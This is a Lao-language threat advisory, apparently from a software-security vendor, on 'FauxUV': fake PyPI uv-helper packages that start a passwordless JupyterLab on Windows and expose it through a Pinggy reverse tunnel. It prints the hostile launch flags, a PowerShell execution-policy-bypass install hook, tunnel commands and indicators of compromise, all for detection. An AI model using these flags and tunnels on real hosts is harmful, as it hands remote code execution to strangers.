FauxUV: ແພັກເກດ PyPI uv ປອມເປີດ Jupyter ໄປຫາເວັບ

FauxUV: ຕົວຊ່ວຍ PyPI uv ປອມທີ່ເປີດເຊີບເວີ Jupyter ທີ່ບໍ່ໄດ້ຮັບການພິສູດຢືນຢັນໃຫ້ກັບອິນເຕີເນັດ

TL; DR

ກຸ່ມຂອງແພັກເກດ PyPI ໄດ້ຢືມຊື່ຂອງ uv, ຕົວຈັດການແພັກເກດ Python ທີ່ອີງໃສ່ Rust ທີ່ໄວ ແລະ ໄດ້ຮັບຄວາມນິຍົມຢ່າງຫຼວງຫຼາຍ, ເພື່ອເຮັດເປັນຕົວຊ່ວຍ uv. ພວກມັນເກືອບບໍ່ມີໜ້າທີ່ຕົວຈິງເລີຍ. ສິ່ງທີ່ພວກມັນມີແທນນັ້ນແມ່ນ payload ຂອງ Windows ທີ່ຢືນຢູ່ ເຊີບເວີ JupyterLab ທີ່ມີການພິສູດຢືນຢັນຕົວຕົນຖືກປິດໄວ້ ແລະ, ໃນລຸ້ນຕໍ່ມາ, ເຜີຍແຜ່ມັນໄປສູ່ອິນເຕີເນັດສາທາລະນະຜ່ານທາງອຸໂມງແບບປີ້ນກັບກັນ.

ນັ້ນແມ່ນເລື່ອງທັງໝົດໃນບັນທັດດຽວ: ຊື່ເຄື່ອງມືທີ່ເຊື່ອຖືໄດ້ເປັນຕົວລໍ້ລວງ, ແລະ JupyterLab ເປັນເຄື່ອງຈັກປະຕິບັດລະຫັດຈາກໄລຍະໄກ. ເຊີບເວີ Jupyter ຈະໃຊ້ລະຫັດໃດກໍ່ຕາມທີ່ທ່ານພິມເຂົ້າໄປໃນebook ເຊວ; ອັນໜຶ່ງທີ່ເປີດໃຊ້ດ້ວຍໂທເຄັນຫວ່າງເປົ່າ ແລະ ຜູກມັດກັບທຸກໆອິນເຕີເຟດເຄືອຂ່າຍແມ່ນຕົວແປພາສາເປີດທີ່ທຸກຄົນທີ່ສາມາດເຂົ້າເຖິງພອດໄດ້ສາມາດຂັບໄດ້.

ພວກເຮົາຕິດຕາມກຸ່ມເປັນ UV ປອມສອງຊຸດທີ່ກວດສອບແມ່ນ moon-uv (0.0.1-0.0.16) ແລະ my-magic-uv-helper (0.0.1), ເຜີຍແຜ່ໂດຍຜູ້ປະຕິບັດການດຽວກັນ ແລະ ເຜີຍແຜ່ຢູ່ໃນ PyPI ໃນເວລາວິເຄາະ.

ລະບົບນິເວດP&IP
ການຫຸ້ມຫໍ່moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1​)
ເປົ້າໝາຍຂອງແພລດຟອມWindows
ພຶດຕິກຳຫຼັກເຊີບເວີ JupyterLab ທີ່ບໍ່ໄດ້ຮັບການພິສູດຢືນຢັນ, ເຜີຍແຜ່ໃນອິນເຕີເນັດຜ່ານອຸໂມງແບບປີ້ນກັບກັນ
ເຄື່ອງມືທີ່ຖືກຕ້ອງຕາມກົດໝາຍຖືກໃຊ້ໃນທາງທີ່ຜິດuv, JupyterLab, cloudflared, Pinggy

ລໍ້ລວງ: ຊື່ທີ່ເຈົ້າໄວ້ວາງໃຈແລ້ວ

uv ແມ່ນໜຶ່ງໃນເຄື່ອງມື Python ທີ່ຖືກຕິດຕັ້ງຫຼາຍທີ່ສຸດໃນສອງປີທີ່ຜ່ານມາ, ສະນັ້ນ "ຜູ້ຊ່ວຍສຳລັບ uv"ເປັນແພັກເກດທີ່ນັກພັດທະນາຕິດຕັ້ງໂດຍບໍ່ຄິດສອງເທື່ອ. FauxUV ໃຊ້ຄວາມໜ້າເຊື່ອຖືທັງໝົດໃສ່ຊື່ນັ້ນ. ແພັກເກດຕ່າງໆຫໍ່ຫຸ້ມ ທີ່ແທ້ຈິງ uv ຕົວຕິດຕັ້ງຈາກ Astral — URL ໃນຈຸດ payload ຢູ່ທີ່ໂຮດທີ່ແທ້ຈິງ ແລະ ມີຊື່ສຽງ — ສະນັ້ນ ການເບິ່ງໄວໆກໍ່ບໍ່ເຫັນຫຍັງນອກຈາກການອ້າງອີງທີ່ໜ້າເຊື່ອຖື. ບໍ່ມີແພັກເກດໃດເພີ່ມເຂົ້າໄປແທ້ໆ uv ໜ້າທີ່; ຊື່ແມ່ນການປອມແປງທັງໝົດ.

JupyterLab ເປັນເຄື່ອງຈັກ RCE

ຈຸດໃຈກາງຂອງ payload ແມ່ນ launcher ທີ່ເລີ່ມຕົ້ນ JupyterLab ໂດຍເອົາ guardrail ທຸກໆອັນອອກ:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

ທຸງແຕ່ລະອັນຈະຖອດການປ້ອງກັນອອກ, ແລະສະຄຣິບທີ່ສົ່ງມາແມ່ນແຕ່ມີຄຳອະທິບາຍໃສ່ພວກມັນ (ໃນພາສາຈີນຕົ້ນສະບັບ): ໂທເຄັນຫວ່າງເປົ່າ "ປິດການກວດສອບລະຫັດຜ່ານ ແລະ ໂທເຄັນ - ທຸກຄົນສາມາດເຊື່ອມຕໍ່ໄດ້." jupyter lab ເປັນ IDE ວິທະຍາສາດຂໍ້ມູນທີ່ຖືກຕ້ອງຕາມກົດໝາຍ, ແຕ່ບໍ່ແມ່ນebook ເຊວປະຕິບັດລະຫັດຕາມໃຈມັກໂດຍການອອກແບບ. ຕັ້ງຄ່າດ້ວຍວິທີນີ້ ແລະ ຜູກມັດກັບ 0.0.0.0, ມັນຢຸດເປັນ IDE ແລະກາຍເປັນ remote shell ທີ່ບໍ່ໄດ້ຮັບການພິສູດຢືນຢັນໃນໂຮດ - ບໍ່ຕ້ອງການໄບນາຣີມັລແວຣ໌ທີ່ກຳນົດເອງ, ພຽງແຕ່ເຄື່ອງມືຫຼັກໆຊີ້ບອກທາງທີ່ຜິດ.

ສອງຊິ້ນສ່ວນຮອງຮັບເຮັດໃຫ້ສາມາດເຂົ້າເຖິງໄດ້ ແລະ ເຮັດຊ້ຳໄດ້:

  • ຕົວກະຕຸ້ນການຕິດຕັ້ງແບບງຽບໆ. ລຸ້ນກ່ອນໆໃຊ້ PowerShell ດ້ວຍ -ExecutionPolicy Bypass ກົງຈາກ setup.py on pip ຕິດຕັ້ງ, ໃນພື້ນຫຼັງທີ່ມີຂໍ້ຜິດພາດຖືກສະກັດກັ້ນດັ່ງນັ້ນ pip ເບິ່ງຄືວ່າປົກກະຕິ. ລຸ້ນຕໍ່ມາໄດ້ຍ້າຍສິ່ງເດີມໆດຽວກັນໄປເປັນ pip-uv ເຄື່ອງມືບັນທັດຄຳສັ່ງ — ແລະ ຍົກເລີກການເຮັດວຽກອັດຕະໂນມັດໃນເວລາຕິດຕັ້ງທັງໝົດ.
  • ອຸໂມງປີ້ນກັບສາທາລະນະ. ເຊີບເວີເປີດຢູ່ 0.0.0.0 ຍັງສາມາດເຂົ້າເຖິງໄດ້ໂດຍໂຮດທີ່ສາມາດສົ່ງໄປຫາເຄື່ອງເທົ່ານັ້ນ. ໂມດູນທີ່ລວມເຂົ້າກັນຈະເປີດ [Pinggy](https://pinggy.io/) ອຸໂມງປີ້ນກັບ SSH ທີ່ສົ່ງຕໍ່ພອດ Jupyter ທ້ອງຖິ່ນໄປຫາທີ່ຢູ່ສາທາລະນະ, ເຊິ່ງລຶບຂໍ້ຈຳກັດນັ້ນອອກ. ສະຄຣິບທີ່ສົ່ງມາຍັງມີ — ຄຳເຫັນອອກ — ເສັ້ນທາງທາງເລືອກໂດຍໃຊ້ Cloudflare's ເມກໄໝ້ ແລະ netsh port-proxy ໄປຫາ Linode IP, ບັນທຶກເປົ້າໝາຍດຽວກັນຜ່ານໂຄງສ້າງພື້ນຖານທີ່ແຕກຕ່າງກັນ.

ປະກອບເຂົ້າກັນ: ຕິດຕັ້ງແພັກເກດ, ແລະໂຮດ Windows ຈະສິ້ນສຸດການໃຊ້ງານ JupyterLab ທີ່ບໍ່ມີລະຫັດຜ່ານ ແລະ ເຜີຍແຜ່ມັນໄປສູ່ອິນເຕີເນັດເປີດ.

FauxUV ພັດທະນາມາແນວໃດ

ລຸ້ນຂອງ FauxUV ໄດ້ຖືກຈັດສົ່ງຢ່າງວ່ອງໄວ, ແລະຈຸດກະຕຸ້ນຂອງ payload ໄດ້ຍ້າຍໄປມາເທິງພວກມັນ - ເປັນການເຕືອນວ່າລຸ້ນທີ່ຖືກໝາຍໄວ້ອັນດຽວບໍ່ຄ່ອຍຈະບອກເລື່ອງລາວທັງໝົດຂອງຊຸດແພັກເກດ.

ຂັ້ນຕອນຂອງການ ສະບັບ ຜົນກະທົບຕໍ່ ສິ່ງທີ່ມັນເພີ່ມ
ຕິດຕັ້ງ-ຕະຂໍ moon-uv 0.0.1 – 0.0.3, my-magic-uv-helper 0.0.1 setup.py ໃນການຕິດຕັ້ງ pip ຕິດຕັ້ງ uv + PATH ເພີ່ມເຕີມ
CLI-runtime moon-uv 0.0.5-0.0.13 pip-uv ຄໍາສັ່ງ ຕົວເປີດໃຊ້ JupyterLab ທີ່ບໍ່ມີລະຫັດຜ່ານ
Tunnel moon-uv 0.0.14-0.0.16 pip-uv ຄໍາສັ່ງ ອຸໂມງປີ້ນກັບ Pinggy ທີ່ໃຊ້ງານຢູ່

ສິ່ງທີ່ໜ້າສັງເກດແມ່ນ, ການເປີດໃຊ້ງານອັດຕະໂນມັດໃນເວລາຕິດຕັ້ງແມ່ນ ລົບອອກ ໃນລຸ້ນຕໍ່ມາທີ່ມີຄວາມສາມາດຫຼາຍກວ່າ — ດັ່ງນັ້ນເຄື່ອງສະແກນຈຶ່ງກົດພຽງແຕ່ວົງຈອນຊີວິດເທົ່ານັ້ນ hooks ຈະໄດ້ຮັບຄະແນນຈາກຜົນງານທີ່ອອກໃໝ່ກວ່າເປັນ ຫນ້ອຍ ມີຄວາມສ່ຽງ, ຢ່າງແນ່ນອນກັບຫຼັງ.

ຕົວຊີ້ວັດຂອງການປະນີປະນອມ

ຢືນຢັນໂດຍການອ່ານແຫຼ່ງຂໍ້ມູນຂອງແພັກເກດ; ຈຸດສິ້ນສຸດທີ່ໝາຍໄວ້ ຄໍາເຫັນ ມີຢູ່ໃນໄຟລ໌ແຕ່ບໍ່ໄດ້ຖືກປະຕິບັດໂດຍລຸ້ນທີ່ຖືກວິເຄາະ. ຕົວຊີ້ວັດເຄືອຂ່າຍຖືກແກ້ໄຂແລ້ວ.

ປະເພດ ຕົວຊີ້ວັດ
ຄຳສັ່ງຕິດຕັ້ງ powershell -ExecutionPolicy Bypass ກຳລັງດຶງເອົາຕົວຕິດຕັ້ງ uv ແທ້, ໃນເວລາຕິດຕັ້ງ pip
ທຸງ JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
ອຸໂມງປີ້ນກັບ (ໃຊ້ງານຢູ່) free[.]pinggy[.]io:443 ການສົ່ງຕໍ່ທ້ອງຖິ່ນ 127.0.0.1:8888
ຜູ້ດຳເນີນລາຍການອຸໂມງ (ມີຄຳເຫັນ) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (ມີຄຳເຫັນແລ້ວ) 45[.]79[.]134[.]161 (Linode) ຜ່ານ netsh port-proxy
Persistence ບວກ %USERPROFILE%\.local\bin ຫາ PATH ຂອງຜູ້ໃຊ້

ສັນຍານພຶດຕິກຳທີ່ຄວນລະວັງ, ໂດຍບໍ່ຂຶ້ນກັບສາຍເຫຼົ່ານີ້: pip ຕິດຕັ້ງ ທີ່ເກີດ powershell - ການຂ້າມນະໂຍບາຍການປະຕິບັດ; ໃດ ດາວພະຫັດ ການລວມການເປີດຕົວ ໂທເຄັນ =”” ກັບ –ip=0.0.0.0; ແລະ SSH ອອກໄປທີ່ *.pinggy.io ຈາກນັກພັດທະນາ ຫຼື ເຄື່ອງ CI.

ພຶດຕິກຳ ແລະ ຕົ້ນກຳເນີດທີ່ສັງເກດເຫັນ

ສອງແພັກເກດມີຜູ້ຂຽນ ແລະ ວິທີການຮ່ວມກັນຄື: ຊື່ເຄື່ອງມືທີ່ເຊື່ອຖືໄດ້, ການຄວບຄຸມສະເພາະ Windows, ການປະຕິບັດພື້ນຫຼັງທີ່ຖືກສະກັດກັ້ນຄວາມຜິດພາດ, ແລະ ການອີງໃສ່ເຄື່ອງມືທີ່ມີຊື່ສຽງ ດັ່ງນັ້ນການເບິ່ງໄວໆຈະເຫັນພຽງແຕ່ URL ທີ່ມີຊື່ສຽງເທົ່ານັ້ນ. ແຫຼ່ງຂໍ້ມູນມີຄຳເຫັນພາສາຈີນທີ່ອະທິບາຍເຖິງທຸງທີ່ກ່ຽວຂ້ອງກັບຄວາມປອດໄພຢ່າງຊັດເຈນ; ພວກເຮົາລາຍງານສິ່ງເຫຼົ່ານັ້ນເປັນຖະແຫຼງການທີ່ສັງເກດເຫັນໄດ້ໃນໄຟລ໌, ບໍ່ແມ່ນການອ້າງສິດກ່ຽວກັບແຮງຈູງໃຈ. ອະນຸຍາດ_ຕົ້ນກຳເນີດ ມູນຄ່າ ແລະ ກ colab.bat ຊື່ໄຟລ໌ສະທ້ອນເຖິງຂະບວນການເຮັດວຽກທີ່ບໍ່ເປັນທາງການ “ແບ່ງປັນເວລາແລ່ນທ້ອງຖິ່ນຂອງຂ້ອຍ” ທີ່ໄຫຼວຽນສຳລັບ Google Colab. ບໍ່ວ່າຕົ້ນກຳເນີດຈະເປັນແນວໃດ, ຜົນໄດ້ຮັບທີ່ຫຸ້ມຫໍ່ແມ່ນຄືກັນ.

ຜົນກະທົບ ແລະ ການຊີ້ນຳສຳລັບຜູ້ຖືກປົກປ້ອງ

ຜູ້ທີ່ໄດ້ຮັບຜົນກະທົບຈາກ FauxUV. ນັກພັດທະນາ Windows ແລະ ຜູ້ດຳເນີນງານ CI ທີ່ pip ຕິດຕັ້ງ ໜຶ່ງໃນແພັກເກດເຫຼົ່ານີ້. JupyterLab ທີ່ບໍ່ມີລະຫັດຜ່ານ 0.0.0.0 ແມ່ນການປະບັດລະຫັດຈາກໄລຍະໄກສຳລັບທຸກຄົນທີ່ສາມາດເຂົ້າເຖິງພອດໄດ້; ອຸໂມງຈະລຶບຂໍ້ຈຳກັດ "ຜູ້ທີ່ສາມາດເຂົ້າເຖິງມັນໄດ້". ເຊີບເວີເຮັດວຽກເປັນຜູ້ໃຊ້ທີ່ຕິດຕັ້ງ, ໂດຍສືບທອດໄຟລ໌, ໂທເຄັນ ແລະ ຂໍ້ມູນປະຈຳຕົວຄລາວຂອງຜູ້ໃຊ້ນັ້ນ.

ເປັນຫຍັງມັນຈຶ່ງງ່າຍທີ່ຈະພາດ. ທຸກໆສາຍເຄືອຂ່າຍຊີ້ໄປຫາໂຮດທີ່ມີຊື່ສຽງ - Astral, JupyterLab, ເມກໄໝ້, Pinggy, Colab. ບໍ່ມີໄບນາຣີມັລແວຣ໌ທີ່ຈະແຮຊ ແລະ ບໍ່ມີ blob ທີ່ສັບສົນທີ່ຈະຖອດລະຫັດ. ການສະແກນທີ່ອີງໃສ່ຊື່ສຽງ ແລະ ລາຍເຊັນ ທັງສອງຢ່າງນີ້ ຖືວ່າບໍ່ສຳຄັນ, ຊຶ່ງເປັນເຫດຜົນທີ່ຄຳຖາມກ່ຽວກັບພຶດຕິກຳ — ການຕິດຕັ້ງແພັກເກດນີ້ເຮັດໃຫ້ເຄື່ອງເຮັດຫຍັງ - ເປັນຜູ້ທີ່ຈັບມັນໄດ້.

ຄຳ ແນະ ນຳ:

  • ປະຕິບັດຕໍ່ເວລາຕິດຕັ້ງໃດໆ powershell - ການຂ້າມນະໂຍບາຍການປະຕິບັດ ເປັນສັນຍານທີ່ເຮັດໃຫ້ເກີດຄວາມເສຍຫາຍຕໍ່ການສ້າງ, ບໍ່ວ່າມັນຈະຖືກດຶງມາຈາກ URL ໃດກໍຕາມ.
  • ເຕືອນກ່ຽວກັບ ດາວພະຫັດ ເປີດຕົວດ້ວຍໂທເຄັນທີ່ຫວ່າງເປົ່າ ແລະ –ip=0.0.0.0; ການລວມກັນນັ້ນບໍ່ຄວນປາກົດຢູ່ໃນສະຖານີເຮັດວຽກ ຫຼື ໂປຣແກຣມແລ່ນ.
  • ຕິດຕາມກວດກາສຳລັບ SSH ທີ່ສົ່ງອອກໄປຫາຜູ້ໃຫ້ບໍລິການອຸໂມງ (*.pinggy.io, *.trycloudflare.com) ຈາກສະພາບແວດລ້ອມຂອງນັກພັດທະນາ ແລະ CI.
  • ຕິດຕັ້ງ uv ຈາກ [ແຫຼ່ງຂໍ້ມູນທາງການ](https://docs.astral.sh/uv/) ແລະ ສົງໄສກ່ຽວກັບແພັກເກດ "ຜູ້ຊ່ວຍ" ຂອງພາກສ່ວນທີສາມທີ່ຫຸ້ມຫໍ່ເຄື່ອງມືທີ່ຕິດຕັ້ງງ່າຍແລ້ວ.
  • ປັກໝຸດ ແລະ ກວດສອບການເພິ່ງພາອາໄສຄືນໃໝ່ໃນການອັບເກຣດ — ສາຍແພັກເກດສາມາດເພີ່ມຄວາມສາມາດໃໝ່ໄດ້.
ເຄື່ອງມືວິເຄາະອົງປະກອບຊອບແວ SCA
ຈັດລຳດັບຄວາມສຳຄັນ, ແກ້ໄຂ ແລະ ຮັກສາຄວາມສ່ຽງດ້ານຊອບແວຂອງທ່ານໃຫ້ປອດໄພ
ຮັບບັນຊີຟຣີຂອງທ່ານ.
ບໍ່ຕ້ອງມີບັດເຄດິດ.

ຮັບປະກັນການພັດທະນາຊອບແວ ແລະ ການຈັດສົ່ງຂອງທ່ານ

ດ້ວຍຊຸດຜະລິດຕະພັນ Xygeni